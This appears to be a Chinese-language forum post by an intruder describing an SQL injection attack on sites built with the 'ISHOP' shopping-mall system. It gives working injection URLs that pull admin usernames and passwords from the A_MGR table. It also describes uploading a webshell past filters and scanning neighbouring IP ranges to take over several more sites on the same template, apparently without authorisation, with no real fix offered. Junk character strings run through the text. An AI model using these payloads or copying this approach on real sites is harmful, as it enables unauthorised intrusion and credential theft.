ISHOP商场建站系统注入漏洞

admin

发现一个注入点
( U" p9 f( f2 o" u, y' N0 Thttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389

习惯性的加’having1=1--

8 L( ]2 W5 U5 Fhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
& ~- [4 o  L/ c5 C6 g2 f* @0 o
0
/ G$ P# n) b9 ^. y: \
; J3 v3 E* l: Q5 r爆出Diary_A.dl_Title（这时候很激动啊）
5 I4 J  {! O% H+ B
那么继续
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

继续，一直爆下去
4 g$ a: H7 A7 Y) L- z
爆到几个字段和表段 但是没找到需要的管理用户的字段

蛋疼了 怎么办 然后去后台登陆页看源码
0 R3 t& _! |8 X, n0 _- H8 S
: Z3 q8 R6 v/ S# c0

Input name= “ADUID”
Input name= “ADPWD”
) l1 c8 K% k6 e- ]* `9 |
8 `3 f& k. h1 y) d3 z很幸运 找到了字段那就继续
找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
) g5 z$ @7 G3 V  W7 t$ h0 D测试了下 这个注入点只能爆到文章哪里的表

- D. E- f$ O' M& x' r; B头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了

473
) ~/ C- j* T2 c! H+ H
/ q5 I) g/ y5 t  x6 M  _进后台
, |" ~/ C: a+ ]% `& z/ {- o- n
# ~) T2 m8 A# O% A% c2 f
发现几个上传点 有的地方不能上传 而且防止恶意代码
* b! l2 [1 x# }' C; L; `1 `+ W
+ W: Q0 K  H; t; U3 d没办法 各种百度各种找大牛 找到一只好像可以突破的马
1 ^# M( _/ b# X) E) n: s

0 ~; {) m* x  ~' \# L# ~8 Q在系统管理那里直接上传 不过没有显示地址

再上传一次 抓包 搞定OK
& D! ]& Z7 r) `3 d1 F8 G% t- w

- ^1 J' s; R' M. I# [& i- ?3 N. ]9 H- ]' k
472
; O# Y5 L5 R  f8 g
/ H  Z* G. y( r- j  X8 s晚上不行了 去睡觉。。。
第二天刚起床 闲的没事做继续日站吧

找个站 就把这个站的旁c扫了下

发现c段也有一个购物站 ，然后还和这个站的模板差不多

* ]& _' \) e" o) |& Q就找到会员登录口测试
+ k  I6 E5 K" n, p7 ~$ S
$ V, m5 i0 N1 A7 I6 ['and (select top 1 MGR_UID from A_MGR)>0—
6 z; B/ w9 _9 }4 U果断爆到了 这时候我很激动 通杀
1 w# m$ i9 {0 y3 G; k
  L- t- s  ]4 G( a再次翻c段
7 a0 A8 a: f% M9 o, b- X" O
翻出几个站 都成功拿下
' z/ E& z3 W  c
( u7 M2 u; p( H# z' f$ o( S
1 h, V( i0 }6 s: }3 `- A+ u
' K6 @1 W7 z( P( U9 t, _& O修复方案：
3 X; h8 q1 u8 \' d) f. ^; Z' I, v他们比我专业
4 X. Y* B$ ]' A* J, p" Q​
% b  u2 l: f" Z0 r) d  k, c
5 D& _6 Y/ f* L2 |
) J) F) g% M5 X7 D